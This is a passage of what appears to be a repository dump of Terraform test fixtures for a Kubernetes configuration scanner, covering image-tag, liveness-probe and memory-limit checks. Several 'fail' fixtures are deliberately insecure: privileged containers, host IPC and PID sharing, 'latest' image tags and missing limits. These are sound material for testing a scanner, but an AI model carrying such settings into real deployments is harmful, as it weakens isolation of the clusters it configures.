[\"example.com\"]\n\n      option {\n        name  = \"ndots\"\n        value = 1\n      }\n\n      option {\n        name = \"use-vc\"\n      }\n    }\n\n    dns_policy = \"None\"\n  }\n}\n\n#latest\nresource \"kubernetes_deployment\" \"fail2\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        k8s-app = \"nginx\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          k8s-app = \"nginx\"\n        }\n      }\n\n      spec {\n        container {\n          image = \"nginx:latest\"\n          name  = \"example22\"\n\n          security_context {\n            privileged = false\n          }\n\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n          }\n\n          liveness_probe {\n            http_get {\n              path = \"/nginx_status\"\n              port = 80\n\n              http_header {\n                name  = \"X-Custom-Header\"\n                value = \"Awesome\"\n              }\n            }\n\n            initial_delay_seconds = 3\n            period_seconds        = 3\n          }\n        }\n        container {\n          image = \"nginx:1.7.9\"\n          name  = \"example22222\"\n\n          security_context {\n            privileged = true\n          }\n\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n          }\n\n          liveness_probe {\n            http_get {\n              path = \"/nginx_status\"\n              port = 80\n\n              http_header {\n                name  = \"X-Custom-Header\"\n                value = \"Awesome\"\n              }\n            }\n\n            initial_delay_seconds = 3\n            period_seconds        = 3\n          }\n        }\n\n        dns_config {\n          nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n          searches    = [\"example.com\"]\n\n          option {\n            name  = \"ndots\"\n            value = 1\n          }\n\n          option {\n            name = \"use-vc\"\n          }\n        }\n\n        dns_policy = \"None\"\n      }\n    }\n  }\n}\n\n#latest\nresource \"kubernetes_deployment_v1\" \"fail2\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        k8s-app = \"nginx\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          k8s-app = \"nginx\"\n        }\n      }\n\n      spec {\n        container {\n          image = \"nginx:latest\"\n          name  = \"example22\"\n\n          security_context {\n            privileged = false\n          }\n\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n          }\n\n          liveness_probe {\n            http_get {\n              path = \"/nginx_status\"\n              port = 80\n\n              http_header {\n                name  = \"X-Custom-Header\"\n                value = \"Awesome\"\n              }\n            }\n\n            initial_delay_seconds = 3\n            period_seconds        = 3\n          }\n        }\n        container {\n          image = \"nginx:1.7.9\"\n          name  = \"example22222\"\n\n          security_context {\n            privileged = true\n          }\n\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n          }\n\n          liveness_probe {\n            http_get {\n              path = \"/nginx_status\"\n              port = 80\n\n              http_header {\n                name  = \"X-Custom-Header\"\n                value = \"Awesome\"\n              }\n            }\n\n            initial_delay_seconds = 3\n            period_seconds        = 3\n          }\n        }\n\n        dns_config {\n          nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n          searches    = [\"example.com\"]\n\n          option {\n            name  = \"ndots\"\n            value = 1\n          }\n\n          option {\n            name = \"use-vc\"\n          }\n        }\n\n        dns_policy = \"None\"\n      }\n    }\n  }\n}\n\n#regular\nresource \"kubernetes_pod\" \"pass\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n\n  spec {\n    container {\n      image = \"nginx:1.7.9\"\n      name  = \"example22\"\n\n      security_context {\n        privileged = false\n      }\n\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n      }\n\n      liveness_probe {\n        http_get {\n          path = \"/nginx_status\"\n          port = 80\n\n          http_header {\n            name  = \"X-Custom-Header\"\n            value = \"Awesome\"\n          }\n        }\n\n        initial_delay_seconds = 3\n        period_seconds        = 3\n      }\n    }\n\n    container {\n      image = \"nginx:1.7.9\"\n      name  = \"example22222\"\n\n      security_context {\n        privileged = false\n      }\n\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n      }\n\n      liveness_probe {\n        http_get {\n          path = \"/nginx_status\"\n          port = 80\n\n          http_header {\n            name  = \"X-Custom-Header\"\n            value = \"Awesome\"\n          }\n        }\n\n        initial_delay_seconds = 3\n        period_seconds        = 3\n      }\n    }\n\n    dns_config {\n      nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n      searches    = [\"example.com\"]\n\n      option {\n        name  = \"ndots\"\n        value = 1\n      }\n\n      option {\n        name = \"use-vc\"\n      }\n    }\n\n    dns_policy = \"None\"\n  }\n}\n\n#regular\nresource \"kubernetes_pod_v1\" \"pass\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n\n  spec {\n    container {\n      image = \"nginx:1.7.9\"\n      name  = \"example22\"\n\n      security_context {\n        privileged = false\n      }\n\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n      }\n\n      liveness_probe {\n        http_get {\n          path = \"/nginx_status\"\n          port = 80\n\n          http_header {\n            name  = \"X-Custom-Header\"\n            value = \"Awesome\"\n          }\n        }\n\n        initial_delay_seconds = 3\n        period_seconds        = 3\n      }\n    }\n\n    container {\n      image = \"nginx:1.7.9\"\n      name  = \"example22222\"\n\n      security_context {\n        privileged = false\n      }\n\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n      }\n\n      liveness_probe {\n        http_get {\n          path = \"/nginx_status\"\n          port = 80\n\n          http_header {\n            name  = \"X-Custom-Header\"\n            value = \"Awesome\"\n          }\n        }\n\n        initial_delay_seconds = 3\n        period_seconds        = 3\n      }\n    }\n\n    dns_config {\n      nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n      searches    = [\"example.com\"]\n\n      option {\n        name  = \"ndots\"\n        value = 1\n      }\n\n      option {\n        name = \"use-vc\"\n      }\n    }\n\n    dns_policy = \"None\"\n  }\n}\n\n#regular\nresource \"kubernetes_deployment\" \"pass\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        k8s-app = \"nginx\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          k8s-app = \"nginx\"\n        }\n      }\n\n      spec {\n        container {\n          image = \"nginx:1.7.9\"\n          name  = \"example22\"\n\n          security_context {\n            privileged = false\n          }\n\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n          }\n\n          liveness_probe {\n            http_get {\n              path = \"/nginx_status\"\n              port = 80\n\n              http_header {\n                name  = \"X-Custom-Header\"\n                value = \"Awesome\"\n              }\n            }\n\n            initial_delay_seconds = 3\n            period_seconds        = 3\n          }\n        }\n\n        container {\n          image = \"nginx:1.7.9\"\n          name  = \"example22222\"\n\n          security_context {\n            privileged = false\n          }\n\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n          }\n\n          liveness_probe {\n            http_get {\n              path = \"/nginx_status\"\n              port = 80\n\n              http_header {\n                name  = \"X-Custom-Header\"\n                value = \"Awesome\"\n              }\n            }\n\n            initial_delay_seconds = 3\n            period_seconds        = 3\n          }\n        }\n\n        dns_config {\n          nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n          searches    = [\"example.com\"]\n\n          option {\n            name  = \"ndots\"\n            value = 1\n          }\n\n          option {\n            name = \"use-vc\"\n          }\n        }\n\n        dns_policy = \"None\"\n      }\n    }\n  }\n}\n\n#regular\nresource \"kubernetes_deployment_v1\" \"pass\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        k8s-app = \"nginx\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          k8s-app = \"nginx\"\n        }\n      }\n\n      spec {\n        container {\n          image = \"nginx:1.7.9\"\n          name  = \"example22\"\n\n          security_context {\n            privileged = false\n          }\n\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n          }\n\n          liveness_probe {\n            http_get {\n              path = \"/nginx_status\"\n              port = 80\n\n              http_header {\n                name  = \"X-Custom-Header\"\n                value = \"Awesome\"\n              }\n            }\n\n            initial_delay_seconds = 3\n            period_seconds        = 3\n          }\n        }\n\n        container {\n          image = \"nginx:1.7.9\"\n          name  = \"example22222\"\n\n          security_context {\n            privileged = false\n          }\n\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n          }\n\n          liveness_probe {\n            http_get {\n              path = \"/nginx_status\"\n              port = 80\n\n              http_header {\n                name  = \"X-Custom-Header\"\n                value = \"Awesome\"\n              }\n            }\n\n            initial_delay_seconds = 3\n            period_seconds        = 3\n          }\n        }\n\n        dns_config {\n          nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n          searches    = [\"example.com\"]\n\n          option {\n            name  = \"ndots\"\n            value = 1\n          }\n\n          option {\n            name = \"use-vc\"\n          }\n        }\n\n        dns_policy = \"None\"\n      }\n    }\n  }\n}\n\n\n#digest\nresource \"kubernetes_pod\" \"pass2\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n\n  spec {\n    container {\n      image = \"nginx@sha256:4a1c4b21597c1b4415bdbecb28a3296c6b5e23ca4f9feeb599860a1dac6a0108\"\n      name  = \"example22\"\n\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n      }\n\n      liveness_probe {\n        http_get {\n          path = \"/nginx_status\"\n          port = 80\n\n          http_header {\n            name  = \"X-Custom-Header\"\n            value = \"Awesome\"\n          }\n        }\n\n        initial_delay_seconds = 3\n        period_seconds        = 3\n      }\n    }\n\n    container {\n      image = \"nginx:1.7.9\"\n      name  = \"example22222\"\n\n      security_context {\n        privileged = false\n      }\n\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n      }\n\n      liveness_probe {\n        http_get {\n          path = \"/nginx_status\"\n          port = 80\n\n          http_header {\n            name  = \"X-Custom-Header\"\n            value = \"Awesome\"\n          }\n        }\n\n        initial_delay_seconds = 3\n        period_seconds        = 3\n      }\n    }\n\n    dns_config {\n      nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n      searches    = [\"example.com\"]\n\n      option {\n        name  = \"ndots\"\n        value = 1\n      }\n\n      option {\n        name = \"use-vc\"\n      }\n    }\n\n    dns_policy = \"None\"\n  }\n}\n\n#digest\nresource \"kubernetes_pod_v1\" \"pass2\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n\n  spec {\n    container {\n      image = \"nginx@sha256:4a1c4b21597c1b4415bdbecb28a3296c6b5e23ca4f9feeb599860a1dac6a0108\"\n      name  = \"example22\"\n\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n      }\n\n      liveness_probe {\n        http_get {\n          path = \"/nginx_status\"\n          port = 80\n\n          http_header {\n            name  = \"X-Custom-Header\"\n            value = \"Awesome\"\n          }\n        }\n\n        initial_delay_seconds = 3\n        period_seconds        = 3\n      }\n    }\n\n    container {\n      image = \"nginx:1.7.9\"\n      name  = \"example22222\"\n\n      security_context {\n        privileged = false\n      }\n\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n      }\n\n      liveness_probe {\n        http_get {\n          path = \"/nginx_status\"\n          port = 80\n\n          http_header {\n            name  = \"X-Custom-Header\"\n            value = \"Awesome\"\n          }\n        }\n\n        initial_delay_seconds = 3\n        period_seconds        = 3\n      }\n    }\n\n    dns_config {\n      nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n      searches    = [\"example.com\"]\n\n      option {\n        name  = \"ndots\"\n        value = 1\n      }\n\n      option {\n        name = \"use-vc\"\n      }\n    }\n\n    dns_policy = \"None\"\n  }\n}\n\n#digest\nresource \"kubernetes_deployment\" \"pass2\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        k8s-app = \"nginx\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          k8s-app = \"nginx\"\n        }\n      }\n\n      spec {\n        container {\n          image = \"nginx@sha256:4a1c4b21597c1b4415bdbecb28a3296c6b5e23ca4f9feeb599860a1dac6a0108\"\n          name  = \"example22\"\n\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n          }\n\n          liveness_probe {\n            http_get {\n              path = \"/nginx_status\"\n              port = 80\n\n              http_header {\n                name  = \"X-Custom-Header\"\n                value = \"Awesome\"\n              }\n            }\n\n            initial_delay_seconds = 3\n            period_seconds        = 3\n          }\n        }\n\n        container {\n          image = \"nginx:1.7.9\"\n          name  = \"example22222\"\n\n          security_context {\n            privileged = false\n          }\n\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n          }\n\n          liveness_probe {\n            http_get {\n              path = \"/nginx_status\"\n              port = 80\n\n              http_header {\n                name  = \"X-Custom-Header\"\n                value = \"Awesome\"\n              }\n            }\n\n            initial_delay_seconds = 3\n            period_seconds        = 3\n          }\n        }\n\n        dns_config {\n          nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n          searches    = [\"example.com\"]\n\n          option {\n            name  = \"ndots\"\n            value = 1\n          }\n\n          option {\n            name = \"use-vc\"\n          }\n        }\n\n        dns_policy = \"None\"\n      }\n    }\n  }\n}\n\n#digest\nresource \"kubernetes_deployment_v1\" \"pass2\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        k8s-app = \"nginx\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          k8s-app = \"nginx\"\n        }\n      }\n\n      spec {\n        container {\n          image = \"nginx@sha256:4a1c4b21597c1b4415bdbecb28a3296c6b5e23ca4f9feeb599860a1dac6a0108\"\n          name  = \"example22\"\n\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n          }\n\n          liveness_probe {\n            http_get {\n              path = \"/nginx_status\"\n              port = 80\n\n              http_header {\n                name  = \"X-Custom-Header\"\n                value = \"Awesome\"\n              }\n            }\n\n            initial_delay_seconds = 3\n            period_seconds        = 3\n          }\n        }\n\n        container {\n          image = \"nginx:1.7.9\"\n          name  = \"example22222\"\n\n          security_context {\n            privileged = false\n          }\n\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n          }\n\n          liveness_probe {\n            http_get {\n              path = \"/nginx_status\"\n              port = 80\n\n              http_header {\n                name  = \"X-Custom-Header\"\n                value = \"Awesome\"\n              }\n            }\n\n            initial_delay_seconds = 3\n            period_seconds        = 3\n          }\n        }\n\n        dns_config {\n          nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n          searches    = [\"example.com\"]\n\n          option {\n            name  = \"ndots\"\n            value = 1\n          }\n\n          option {\n            name = \"use-vc\"\n          }\n        }\n\n        dns_policy = \"None\"\n      }\n    }\n  }\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/kubernetes/example_LivenessProbe/main.tf",
    "content": "resource \"kubernetes_pod\" \"pass\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n\n  spec {\n    container {\n      image = \"nginx:1.7.9\"\n      name  = \"example\"\n\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n      }\n\n      liveness_probe {\n        http_get {\n          path = \"/nginx_status\"\n          port = 80\n\n          http_header {\n            name  = \"X-Custom-Header\"\n            value = \"Awesome\"\n          }\n        }\n\n        initial_delay_seconds = 3\n        period_seconds        = 3\n      }\n    }\n\n    dns_config {\n      nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n      searches    = [\"example.com\"]\n\n      option {\n        name  = \"ndots\"\n        value = 1\n      }\n\n      option {\n        name = \"use-vc\"\n      }\n    }\n\n    dns_policy = \"None\"\n  }\n}\n\nresource \"kubernetes_pod_v1\" \"pass\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n\n  spec {\n    container {\n      image = \"nginx:1.7.9\"\n      name  = \"example\"\n\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n      }\n\n      liveness_probe {\n        http_get {\n          path = \"/nginx_status\"\n          port = 80\n\n          http_header {\n            name  = \"X-Custom-Header\"\n            value = \"Awesome\"\n          }\n        }\n\n        initial_delay_seconds = 3\n        period_seconds        = 3\n      }\n    }\n\n    dns_config {\n      nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n      searches    = [\"example.com\"]\n\n      option {\n        name  = \"ndots\"\n        value = 1\n      }\n\n      option {\n        name = \"use-vc\"\n      }\n    }\n\n    dns_policy = \"None\"\n  }\n}\n\nresource \"kubernetes_deployment\" \"pass\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        k8s-app = \"nginx\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          k8s-app = \"nginx\"\n        }\n      }\n\n      spec {\n        container {\n          image = \"nginx:1.7.9\"\n          name  = \"example\"\n\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n          }\n\n          liveness_probe {\n            http_get {\n              path = \"/nginx_status\"\n              port = 80\n\n              http_header {\n                name  = \"X-Custom-Header\"\n                value = \"Awesome\"\n              }\n            }\n\n            initial_delay_seconds = 3\n            period_seconds        = 3\n          }\n        }\n\n        dns_config {\n          nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n          searches    = [\"example.com\"]\n\n          option {\n            name  = \"ndots\"\n            value = 1\n          }\n\n          option {\n            name = \"use-vc\"\n          }\n        }\n\n        dns_policy = \"None\"\n      }\n    }\n  }\n}\n\nresource \"kubernetes_deployment_v1\" \"pass\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        k8s-app = \"nginx\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          k8s-app = \"nginx\"\n        }\n      }\n\n      spec {\n        container {\n          image = \"nginx:1.7.9\"\n          name  = \"example\"\n\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n          }\n\n          liveness_probe {\n            http_get {\n              path = \"/nginx_status\"\n              port = 80\n\n              http_header {\n                name  = \"X-Custom-Header\"\n                value = \"Awesome\"\n              }\n            }\n\n            initial_delay_seconds = 3\n            period_seconds        = 3\n          }\n        }\n\n        dns_config {\n          nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n          searches    = [\"example.com\"]\n\n          option {\n            name  = \"ndots\"\n            value = 1\n          }\n\n          option {\n            name = \"use-vc\"\n          }\n        }\n\n        dns_policy = \"None\"\n      }\n    }\n  }\n}\n\nresource \"kubernetes_pod\" \"fail\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n\n  spec {\n    container {\n      image = \"nginx:1.7.9\"\n      name  = \"example\"\n\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n      }\n\n    }\n\n    dns_config {\n      nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n      searches    = [\"example.com\"]\n\n      option {\n        name  = \"ndots\"\n        value = 1\n      }\n\n      option {\n        name = \"use-vc\"\n      }\n    }\n\n    dns_policy = \"None\"\n  }\n}\n\nresource \"kubernetes_pod_v1\" \"fail\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n\n  spec {\n    container {\n      image = \"nginx:1.7.9\"\n      name  = \"example\"\n\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n      }\n\n    }\n\n    dns_config {\n      nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n      searches    = [\"example.com\"]\n\n      option {\n        name  = \"ndots\"\n        value = 1\n      }\n\n      option {\n        name = \"use-vc\"\n      }\n    }\n\n    dns_policy = \"None\"\n  }\n}\n\n\nresource \"kubernetes_deployment\" \"fail\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        k8s-app = \"nginx\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          k8s-app = \"nginx\"\n        }\n      }\n\n      spec {\n        container {\n          image = \"nginx:1.7.9\"\n          name  = \"example\"\n\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n          }\n\n        }\n\n        dns_config {\n          nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n          searches    = [\"example.com\"]\n\n          option {\n            name  = \"ndots\"\n            value = 1\n          }\n\n          option {\n            name = \"use-vc\"\n          }\n        }\n\n        dns_policy = \"None\"\n      }\n    }\n  }\n}\n\nresource \"kubernetes_deployment_v1\" \"fail\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        k8s-app = \"nginx\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          k8s-app = \"nginx\"\n        }\n      }\n\n      spec {\n        container {\n          image = \"nginx:1.7.9\"\n          name  = \"example\"\n\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n          }\n\n        }\n\n        dns_config {\n          nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n          searches    = [\"example.com\"]\n\n          option {\n            name  = \"ndots\"\n            value = 1\n          }\n\n          option {\n            name = \"use-vc\"\n          }\n        }\n\n        dns_policy = \"None\"\n      }\n    }\n  }\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/kubernetes/example_LivenessProbe/main3.tf",
    "content": "resource \"kubernetes_pod\" \"examplePod\" {\n  metadata {\n    name      = \"terraform-example\"\n    namespace = \"default\"\n    labels = {\n      test = \"MyExampleApp\"\n    }\n  }\n\n  spec {\n    automount_service_account_token = true\n    security_context{\n    }\n    selector {\n      match_labels = {\n        test = \"MyExampleApp\"\n      }\n    }\n  }\n}\n\nresource \"kubernetes_pod_v1\" \"examplePod\" {\n  metadata {\n    name      = \"terraform-example\"\n    namespace = \"default\"\n    labels = {\n      test = \"MyExampleApp\"\n    }\n  }\n\n  spec {\n    automount_service_account_token = true\n    security_context{\n    }\n    selector {\n      match_labels = {\n        test = \"MyExampleApp\"\n      }\n    }\n  }\n}\n\n\nresource \"kubernetes_deployment\" \"examplePod\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        k8s-app = \"nginx\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          k8s-app = \"nginx\"\n        }\n      }\n\n      spec {\n        automount_service_account_token = true\n        security_context {\n        }\n        selector {\n          match_labels = {\n            test = \"MyExampleApp\"\n          }\n        }\n      }\n    }\n  }\n}\n\n"
  },
  {
    "path": "tests/terraform/checks/resource/kubernetes/example_MemoryLimits/main.tf",
    "content": "# fails no spec\nresource \"kubernetes_pod\" \"fail2\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n}\n\n# fails no spec\nresource \"kubernetes_pod_v1\" \"fail2\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n}\n\n\n# fails no spec\nresource \"kubernetes_deployment\" \"fail2\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n}\n\n# fails no spec\nresource \"kubernetes_deployment_v1\" \"fail2\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n}\n\n# fails no resource\nresource \"kubernetes_pod\" \"fail3\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n\n  spec {\n    host_ipc = true\n    host_pid = true\n\n    container {\n      image = \"nginx:1.7.9\"\n      name  = \"example\"\n\n\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n      }\n    }\n\n    dns_config {\n      nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n      searches    = [\"example.com\"]\n\n      option {\n        name  = \"ndots\"\n        value = 1\n      }\n\n      option {\n        name = \"use-vc\"\n      }\n    }\n\n    dns_policy = \"None\"\n  }\n}\n\n# fails no resource\nresource \"kubernetes_pod_v1\" \"fail3\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n\n  spec {\n    host_ipc = true\n    host_pid = true\n\n    container {\n      image = \"nginx:1.7.9\"\n      name  = \"example\"\n\n\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n      }\n    }\n\n    dns_config {\n      nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n      searches    = [\"example.com\"]\n\n      option {\n        name  = \"ndots\"\n        value = 1\n      }\n\n      option {\n        name = \"use-vc\"\n      }\n    }\n\n    dns_policy = \"None\"\n  }\n}\n\n# fails no resource\nresource \"kubernetes_deployment\" \"fail3\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        k8s-app = \"nginx\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          k8s-app = \"nginx\"\n        }\n      }\n\n      spec {\n        host_ipc = true\n        host_pid = true\n\n        container {\n          image = \"nginx:1.7.9\"\n          name  = \"example\"\n\n\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n          }\n        }\n\n        dns_config {\n          nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n          searches    = [\"example.com\"]\n\n          option {\n            name  = \"ndots\"\n            value = 1\n          }\n\n          option {\n            name = \"use-vc\"\n          }\n        }\n\n        dns_policy = \"None\"\n      }\n    }\n  }\n}\n\n# fails no resource\nresource \"kubernetes_deployment_v1\" \"fail3\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        k8s-app = \"nginx\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          k8s-app = \"nginx\"\n        }\n      }\n\n      spec {\n        host_ipc = true\n        host_pid = true\n\n        container {\n          image = \"nginx:1.7.9\"\n          name  = \"example\"\n\n\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n          }\n        }\n\n        dns_config {\n          nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n          searches    = [\"example.com\"]\n\n          option {\n            name  = \"ndots\"\n            value = 1\n          }\n\n          option {\n            name = \"use-vc\"\n          }\n        }\n\n        dns_policy = \"None\"\n      }\n    }\n  }\n}\n\n# fails no limits\nresource \"kubernetes_pod\" \"fail\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n\n  spec {\n    host_ipc = true\n    host_pid = true\n\n    container {\n      image = \"nginx:1.7.9\"\n      name  = \"example\"\n\n\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n      }\n\n      resources {\n\n      }\n    }\n\n    dns_config {\n      nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n      searches    = [\"example.com\"]\n\n      option {\n        name  = \"ndots\"\n        value = 1\n      }\n\n      option {\n        name = \"use-vc\"\n      }\n    }\n\n    dns_policy = \"None\"\n  }\n}\n\n# fails no limits\nresource \"kubernetes_pod_v1\" \"fail\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n\n  spec {\n    host_ipc = true\n    host_pid = true\n\n    container {\n      image = \"nginx:1.7.9\"\n      name  = \"example\"\n\n\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n      }\n\n      resources {\n\n      }\n    }\n\n    dns_config {\n      nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n      searches    = [\"example.com\"]\n\n      option {\n        name  = \"ndots\"\n        value = 1\n      }\n\n      option {\n        name = \"use-vc\"\n      }\n    }\n\n    dns_policy = \"None\"\n  }\n}\n\n# fails no limits\nresource \"kubernetes_deployment\" \"fail\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        k8s-app = \"nginx\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          k8s-app = \"nginx\"\n        }\n      }\n\n      spec {\n        host_ipc = 